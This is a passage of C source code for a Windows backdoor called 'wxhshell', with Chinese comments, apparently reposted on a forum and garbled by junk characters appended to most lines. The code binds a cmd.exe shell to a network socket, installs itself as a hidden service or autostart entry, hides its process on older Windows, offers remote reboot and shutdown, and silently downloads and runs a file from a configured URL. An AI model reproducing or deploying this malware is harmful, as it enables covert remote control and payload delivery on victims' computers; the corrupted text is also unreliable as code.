  /C"dwh"``  
  // 帮助 ?CGbnXZ4Ug  
  case '?': { F XJI,(:-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ys,}L.  
    break; v{4K$o  
  } xXQ#?::m  
  // 安装 Q: ?]:i/*  
  case 'i': { \M^L'Mkj  
    if(Install()) {`fhcEC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1GB$;0 W),  
    else krwY_$q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =1 g  
    break; q:Gi Qk-  
    } ^44AE5TO  
  // 卸载 =KJK'1m9  
  case 'r': { w^N xR,  
    if(Uninstall()) l +RT>jAmK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J<dr x_gc  
    else zt{?Nt b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ($:s}_<>s  
    break; K~**. NF-n  
    } D*3\4=6x  
  // 显示 wxhshell 所在路径 *44^M{ti<  
  case 'p': { l]R O'  
    char svExeFile[MAX_PATH]; 01Bs7@"+  
    strcpy(svExeFile,"\n\r"); ,aS6|~ac4  
      strcat(svExeFile,ExeFile); %!$ua_8  
        send(wsh,svExeFile,strlen(svExeFile),0); 4eapR|#T  
    break; [f["9(:  
    } N'_,VB  
  // 重启 lot7SXvK  
  case 'b': { m=i8o `  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E>~DlL%  
    if(Boot(REBOOT)) [FLRrTcE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cy|]}n85  
    else { Nzj7e 1=  
    closesocket(wsh); [L h<k+  
    ExitThread(0); @dE|UZ=(  
    } 9d{iq"*R  
    break; # JHicx\8l  
    } 7eb^^a?  
  // 关机 %g7 !4  
  case 'd': { TS+itU62  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z7'3d7r?  
    if(Boot(SHUTDOWN)) y BF3Lms  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s,>_kxuX  
    else { ]~~PD?jh  
    closesocket(wsh); UO^"<0u  
    ExitThread(0); vk\a>};  
    } v-2_#  
    break; [)U|HnAJ  
    } HNN,1MN  
  // 获取shell hMz= \)Pl  
  case 's': { +e_NpC  
    CmdShell(wsh); =YlsJ={h  
    closesocket(wsh); #JVw`=P  
    ExitThread(0); fiA_6  
    break; BeZr5I"`}  
  } mk?&`_X1  
  // 退出  B[jCe5!w  
  case 'x': { oiYI$ql3L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fR<_4L  
    CloseIt(wsh); >?K@zsv}  
    break; F VBuCi?W  
    } " O1\]"j  
  // 离开 27q 9zi!Q  
  case 'q': { R}lS@w1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B-`d7c5  
    closesocket(wsh); o= VzVg  
    WSACleanup(); E O^j,x g  
    exit(1); /Zw^EM6c  
    break; 3'WJx=0?  
        } l;^Id#N  
  } 7Pspx'u  
  } K#q1/2  
_jt>%v4}4  
  // 提示信息 5X>b(`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V+My]9ki  
} urmx})=  
  } !v(j#N< m  
^eke,,~  
  return; L+y}hb r  
} &P 'cf|KI  
(VeX[*}I  
// shell模块句柄 b4%sOn,  
int CmdShell(SOCKET sock) 4PG]L`J{  
{ \fG?j@Qx  
STARTUPINFO si; Htd-E^/  
ZeroMemory(&si,sizeof(si)); KhK:%1po  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gkci_A*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sd|5oz )  
PROCESS_INFORMATION ProcessInfo; kj_ o I5<'  
char cmdline[]="cmd";  =`fJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -_&"Q4FR;+  
  return 0;  5,  
} ?K]Cs&E4  
'J(rIH3U  
// 自身启动模式 $<R\|_6J  
int StartFromService(void) M6J~%qF^  
{ $g? ]9}p  
typedef struct :D(4HXHK%  
{ le1  
  DWORD ExitStatus; h:{rjXK  
  DWORD PebBaseAddress; <u>l#weG,  
  DWORD AffinityMask; i> Wsc?  
  DWORD BasePriority; ?K9&ye_rgw  
  ULONG UniqueProcessId; B:5\+_a!  
  ULONG InheritedFromUniqueProcessId; ;{mKt%#  
}   PROCESS_BASIC_INFORMATION; ! h7?Ap  
:t?Z  
PROCNTQSIP NtQueryInformationProcess;  Er( I6  
 ~ Dvxe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~)Z{ Yj9)S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ia#Z$I6  
tKtKW5n~  
  HANDLE             hProcess; F*" "n  
  PROCESS_BASIC_INFORMATION pbi; 3ZRi@=kWz  
/'KCW_Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nT.i|(xd.  
  if(NULL == hInst ) return 0; i\E}!Rwl+  
z7B>7}i-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '%U'%')  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WE;QEA/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); epw*Px  
8 nCw1   
  if (!NtQueryInformationProcess) return 0; ^5j+O.zgN  
zJC!MeN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F91uuSSL  
  if(!hProcess) return 0; f|U;4{ k  
s|*0cK!K^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )IN!CmpN  
&/XRiK1"0  
  CloseHandle(hProcess); GQ=Zp3[  
OCR`1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~<[$.8*  
if(hProcess==NULL) return 0; byALM  
H?-Byi  
HMODULE hMod; )UBU|uYR\  
char procName[255]; %eK=5Er jx  
unsigned long cbNeeded; Sg#$ B#g  
x"/DCcZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k:1p:&*m  
aMa ICM  
  CloseHandle(hProcess); @E Srj[  
aU&p7y4C@  
if(strstr(procName,"services")) return 1; // 以服务启动 3$<u3Zi6  
 UZJ^ e$N  
  return 0; // 注册表启动 L'1!vu *Rg  
} s2SxMFDP  
q [}<LU  
// 主模块 %H)^k${  
int StartWxhshell(LPSTR lpCmdLine) `6bIxb{  
{ awYnlE/Z1  
  SOCKET wsl; _p;>]0cc.  
BOOL val=TRUE; L!:8yJK  
  int port=0; {J#SpG 7  
  struct sockaddr_in door; 0j{Rsy   
=K#5I<x  
  if(wscfg.ws_autoins) Install(); Ka\h a  
(<bYoWrK#  
port=atoi(lpCmdLine); v)+E!"R3.  
jh7-Fl`  
if(port<=0) port=wscfg.ws_port; I8ZBs0sfF{  
zG IxmJ.  
  WSADATA data; Z5x&P_.x[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RCZ"BxleU  
r{+P2MPW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jd]kg,/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pl#2J A8  
  door.sin_family = AF_INET; !{u`}:\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l\f /(&,  
  door.sin_port = htons(port); 4gR;,%E\TO  
@k+&89@G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aMU0BS"   
closesocket(wsl); Gm`#0)VC  
return 1; zWs ("L(#s  
} G_ -8*.  
xh6Yv%\@  
  if(listen(wsl,2) == INVALID_SOCKET) { 0^lCZ,uq;  
closesocket(wsl); 38<Z=#S  
return 1; DxM$4  
} KM-d8^\:  
  Wxhshell(wsl); 1>~bzXY#  
  WSACleanup(); 0H9UM*O  
G4&vrM,f  
return 0; e\8|6< o[  
+aY]?]  
} X RQz~Py  
H18.)yHX  
// 以NT服务方式启动 LyRbD$m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "O}u2B b  
{ qV$\E=%fhM  
DWORD   status = 0; #gq!L  
  DWORD   specificError = 0xfffffff; ?hC,49  
Lg%3M8-W~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nrEG4X9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e=ITAH3b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #fGI#]SG?  
  serviceStatus.dwWin32ExitCode     = 0; {s7 3(B"  
  serviceStatus.dwServiceSpecificExitCode = 0; =)c^ik%F&  
  serviceStatus.dwCheckPoint       = 0; {sOWDM5  
  serviceStatus.dwWaitHint       = 0; E|,RM;7  
ur$=%3vM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (IXUT6|  
  if (hServiceStatusHandle==0) return; VY#nSF`  
?zk#}Ex1  
status = GetLastError(); A<s zY92&5  
  if (status!=NO_ERROR) 0 s$;3qE  
{ 1 ORA6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TSKT6_IJw  
    serviceStatus.dwCheckPoint       = 0; d ug^oc1  
    serviceStatus.dwWaitHint       = 0; 5+DId7d'n  
    serviceStatus.dwWin32ExitCode     = status; ]&;K:#J  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?-v]+<$Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =w5]o@  
    return; P Dgd'y  
  } '.B5CQ  
fxQ4kiI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `GUGy.b  
  serviceStatus.dwCheckPoint       = 0; "Snt~:W>  
  serviceStatus.dwWaitHint       = 0; GBY-WN4sc[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0$g;O5y"i  
} 4JO[yN  
*|4/XHi  
// 处理NT服务事件,比如:启动、停止 g\2/Ia+/@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BjyV&1tRV!  
{ $P h#pM(  
switch(fdwControl) 6 h%,%  
{ Tlm::S   
case SERVICE_CONTROL_STOP: Fks #Y1rI  
  serviceStatus.dwWin32ExitCode = 0; JP,yRb\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .du2;` [$r  
  serviceStatus.dwCheckPoint   = 0; n&%0G2m:  
  serviceStatus.dwWaitHint     = 0; 9;7|MPbR  
  { (V x2*Aw]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OLZs}N+;]  
  } h(K}N5`  
  return; ucYweXsO3  
case SERVICE_CONTROL_PAUSE: 5 W!#,jz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; & [z<p  
  break; WYN0,rv1:+  
case SERVICE_CONTROL_CONTINUE: iLt2L;v>h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j  Gp&P  
  break; 8n,/hY>w  
case SERVICE_CONTROL_INTERROGATE: 5wa'SexqE  
  break; $ ~Ks !8'P  
}; 5X73@Aj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _iF*BnmN  
} .% 79(r^  
TE9Iyl|=  
// 标准应用程序主函数 -A,UqEt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u[ E0jI  
{ 7n)ob![\d  
/!'Png0!  
// 获取操作系统版本 w m|WER*.  
OsIsNt=GetOsVer(); YTD&swk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9|WV28PK:  
][dst@?8Oz  
  // 从命令行安装 6DG%pF,  
  if(strpbrk(lpCmdLine,"iI")) Install(); "Q`Le{  
Ay6]vU  
  // 下载执行文件 {.])' ~[U  
if(wscfg.ws_downexe) { =o:1Rc7J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) / K(l[M  
  WinExec(wscfg.ws_filenam,SW_HIDE); M`&78j  
} ;4QE.&s`  
`\r <3?  
if(!OsIsNt) { t52KF#+>  
// 如果时win9x,隐藏进程并且设置为注册表启动 `x`zv1U  
HideProc(); y(wb?86#W5  
StartWxhshell(lpCmdLine); _;,"!'R`f  
} Iw4[D#o  
else T#\=v(_NR  
  if(StartFromService()) BJt]k7ku+  
  // 以服务方式启动 mX%T"_^  
  StartServiceCtrlDispatcher(DispatchTable); pr[V*C/  
else JM7FVB  
  // 普通方式启动 QM'|k6  
  StartWxhshell(lpCmdLine); \fsNI T/  
<@$+uZt+  
return 0; S.Q:O{]  
}
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只看该作者 1 发表于: 2006-10-10
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